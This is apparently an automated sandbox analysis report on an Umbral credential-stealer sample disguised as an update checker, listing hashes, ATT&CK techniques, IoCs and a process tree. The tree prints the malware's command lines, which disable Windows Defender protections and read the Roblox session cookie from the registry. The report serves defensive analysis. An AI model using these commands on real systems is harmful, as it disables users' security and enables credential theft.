umbral | 4b64b08789791f49a88c79ad4c0eae5628fe7547489f958312f53c95f23403ff

Analysis

max time kernel
148s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
12-08-2024 09:27

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General

Target

citrontoppest/citrontoppest/citrontoppest/updatechecker/updatecheckercitron.exe
Size

227KB
MD5

a6db1722b4ed09cd06fbdf6f80df47da
SHA1

1fe86fceb4884cb37c4187591ccecd7a4c4d9c15
SHA256

ed1deb13b32c20b6cd35d50351c78d3729315dac5da6f5795dae2c14bed8520b
SHA512

61542031f6f60fca814400c9ec21c0eefa15422646c30b5b3192231a4d5a5845681f7d619818fa0c7c448f860101790d7971c80aa90637e58956b33023079785
SSDEEP

6144:+loZMLrIkd8g+EtXHkv/iD4cYiL+cCFdWQj+ctBIpHb8e1mUi:ooZ0L+EP8cYiL+cCFdWQj+ctBIhK

Score

10^/10

umbral credential_access execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral6/memory/4652-0-0x00000276512B0000-0x00000276512F0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3896	powershell.exe
1808	powershell.exe
1972	powershell.exe
212	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	updatecheckercitron.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
31	discord.com
32	discord.com
33	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1240	wmic.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
4652	updatecheckercitron.exe
212	powershell.exe
212	powershell.exe
3896	powershell.exe
3896	powershell.exe
1808	powershell.exe
1808	powershell.exe
3372	powershell.exe
3372	powershell.exe
1972	powershell.exe
1972	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4652	updatecheckercitron.exe
Token: SeIncreaseQuotaPrivilege	4376	wmic.exe
Token: SeSecurityPrivilege	4376	wmic.exe
Token: SeTakeOwnershipPrivilege	4376	wmic.exe
Token: SeLoadDriverPrivilege	4376	wmic.exe
Token: SeSystemProfilePrivilege	4376	wmic.exe
Token: SeSystemtimePrivilege	4376	wmic.exe
Token: SeProfSingleProcessPrivilege	4376	wmic.exe
Token: SeIncBasePriorityPrivilege	4376	wmic.exe
Token: SeCreatePagefilePrivilege	4376	wmic.exe
Token: SeBackupPrivilege	4376	wmic.exe
Token: SeRestorePrivilege	4376	wmic.exe
Token: SeShutdownPrivilege	4376	wmic.exe
Token: SeDebugPrivilege	4376	wmic.exe
Token: SeSystemEnvironmentPrivilege	4376	wmic.exe
Token: SeRemoteShutdownPrivilege	4376	wmic.exe
Token: SeUndockPrivilege	4376	wmic.exe
Token: SeManageVolumePrivilege	4376	wmic.exe
Token: 33	4376	wmic.exe
Token: 34	4376	wmic.exe
Token: 35	4376	wmic.exe
Token: 36	4376	wmic.exe
Token: SeIncreaseQuotaPrivilege	4376	wmic.exe
Token: SeSecurityPrivilege	4376	wmic.exe
Token: SeTakeOwnershipPrivilege	4376	wmic.exe
Token: SeLoadDriverPrivilege	4376	wmic.exe
Token: SeSystemProfilePrivilege	4376	wmic.exe
Token: SeSystemtimePrivilege	4376	wmic.exe
Token: SeProfSingleProcessPrivilege	4376	wmic.exe
Token: SeIncBasePriorityPrivilege	4376	wmic.exe
Token: SeCreatePagefilePrivilege	4376	wmic.exe
Token: SeBackupPrivilege	4376	wmic.exe
Token: SeRestorePrivilege	4376	wmic.exe
Token: SeShutdownPrivilege	4376	wmic.exe
Token: SeDebugPrivilege	4376	wmic.exe
Token: SeSystemEnvironmentPrivilege	4376	wmic.exe
Token: SeRemoteShutdownPrivilege	4376	wmic.exe
Token: SeUndockPrivilege	4376	wmic.exe
Token: SeManageVolumePrivilege	4376	wmic.exe
Token: 33	4376	wmic.exe
Token: 34	4376	wmic.exe
Token: 35	4376	wmic.exe
Token: 36	4376	wmic.exe
Token: SeDebugPrivilege	212	powershell.exe
Token: SeDebugPrivilege	3896	powershell.exe
Token: SeDebugPrivilege	1808	powershell.exe
Token: SeDebugPrivilege	3372	powershell.exe
Token: SeIncreaseQuotaPrivilege	1420	wmic.exe
Token: SeSecurityPrivilege	1420	wmic.exe
Token: SeTakeOwnershipPrivilege	1420	wmic.exe
Token: SeLoadDriverPrivilege	1420	wmic.exe
Token: SeSystemProfilePrivilege	1420	wmic.exe
Token: SeSystemtimePrivilege	1420	wmic.exe
Token: SeProfSingleProcessPrivilege	1420	wmic.exe
Token: SeIncBasePriorityPrivilege	1420	wmic.exe
Token: SeCreatePagefilePrivilege	1420	wmic.exe
Token: SeBackupPrivilege	1420	wmic.exe
Token: SeRestorePrivilege	1420	wmic.exe
Token: SeShutdownPrivilege	1420	wmic.exe
Token: SeDebugPrivilege	1420	wmic.exe
Token: SeSystemEnvironmentPrivilege	1420	wmic.exe
Token: SeRemoteShutdownPrivilege	1420	wmic.exe
Token: SeUndockPrivilege	1420	wmic.exe
Token: SeManageVolumePrivilege	1420	wmic.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 4652 wrote to memory of 4376	4652	updatecheckercitron.exe	85
PID 4652 wrote to memory of 4376	4652	updatecheckercitron.exe	85
PID 4652 wrote to memory of 212	4652	updatecheckercitron.exe	90
PID 4652 wrote to memory of 212	4652	updatecheckercitron.exe	90
PID 4652 wrote to memory of 3896	4652	updatecheckercitron.exe	92
PID 4652 wrote to memory of 3896	4652	updatecheckercitron.exe	92
PID 4652 wrote to memory of 1808	4652	updatecheckercitron.exe	94
PID 4652 wrote to memory of 1808	4652	updatecheckercitron.exe	94
PID 4652 wrote to memory of 3372	4652	updatecheckercitron.exe	96
PID 4652 wrote to memory of 3372	4652	updatecheckercitron.exe	96
PID 4652 wrote to memory of 1420	4652	updatecheckercitron.exe	100
PID 4652 wrote to memory of 1420	4652	updatecheckercitron.exe	100
PID 4652 wrote to memory of 752	4652	updatecheckercitron.exe	102
PID 4652 wrote to memory of 752	4652	updatecheckercitron.exe	102
PID 4652 wrote to memory of 424	4652	updatecheckercitron.exe	104
PID 4652 wrote to memory of 424	4652	updatecheckercitron.exe	104
PID 4652 wrote to memory of 1972	4652	updatecheckercitron.exe	106
PID 4652 wrote to memory of 1972	4652	updatecheckercitron.exe	106
PID 4652 wrote to memory of 1240	4652	updatecheckercitron.exe	108
PID 4652 wrote to memory of 1240	4652	updatecheckercitron.exe	108

C:\Users\Admin\AppData\Local\Temp\citrontoppest\citrontoppest\citrontoppest\updatechecker\updatecheckercitron.exe
"C:\Users\Admin\AppData\Local\Temp\citrontoppest\citrontoppest\citrontoppest\updatechecker\updatecheckercitron.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4652
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4376
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\citrontoppest\citrontoppest\citrontoppest\updatechecker\updatecheckercitron.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:212
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3896
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1808
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3372
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1420
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:752
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:424
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1972
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1240

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
966914e2e771de7a4a57a95b6ecfa8a9

SHA1
7a32282fd51dd032967ed4d9a40cc57e265aeff2

SHA256
98d3c70d7004fa807897317bd6cd3e977b9b6c72d4d2565aca0f9f8b1c315cba

SHA512
dc39c7124a9c7c8d4c7e8e16290c46360b8d9a8f4e43edaacbbeb09bdcf20159a53db54d2b322372001b6a3de52b2f88e9088b5fdbc7638816ae0d122bb015f5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
c2bb62ca1479d7f6db1b3104bef75667

SHA1
279004558e50ec68ad738e7c08e2ab10d3f74f84

SHA256
b00a3494e7623c5d1977bc52ee296a6adfc9a118c4bb7229fc5505cd53136c0c

SHA512
900fc80e53a5ec4ff0802b078b5b441cb58db6163a53093f6f81ab01f5d18d38fffc7a229cdd0efe6b2211c24acbdcd40b315dd1b86b0ea0fece3c7b3b938ddc

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eq5wbkus.wkw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/212-13-0x00007FF8A7750000-0x00007FF8A8211000-memory.dmp

Filesize
10.8MB

Download
memory/212-14-0x00007FF8A7750000-0x00007FF8A8211000-memory.dmp

Filesize
10.8MB

Download
memory/212-15-0x00007FF8A7750000-0x00007FF8A8211000-memory.dmp

Filesize
10.8MB

Download
memory/212-18-0x00007FF8A7750000-0x00007FF8A8211000-memory.dmp

Filesize
10.8MB

Download
memory/212-8-0x000001FA728C0000-0x000001FA728E2000-memory.dmp

Filesize
136KB

Download
memory/4652-34-0x000002766B990000-0x000002766B9E0000-memory.dmp

Filesize
320KB

Download
memory/4652-33-0x000002766B9E0000-0x000002766BA56000-memory.dmp

Filesize
472KB

Download
memory/4652-35-0x000002766B960000-0x000002766B97E000-memory.dmp

Filesize
120KB

Download
memory/4652-1-0x00007FF8A7753000-0x00007FF8A7755000-memory.dmp

Filesize
8KB

Download
memory/4652-0-0x00000276512B0000-0x00000276512F0000-memory.dmp

Filesize
256KB

Download
memory/4652-72-0x000002766BAA0000-0x000002766BAB2000-memory.dmp

Filesize
72KB

Download
memory/4652-71-0x000002766BA70000-0x000002766BA7A000-memory.dmp

Filesize
40KB

Download
memory/4652-2-0x00007FF8A7750000-0x00007FF8A8211000-memory.dmp

Filesize
10.8MB

Download
memory/4652-90-0x00007FF8A7750000-0x00007FF8A8211000-memory.dmp

Filesize
10.8MB

Download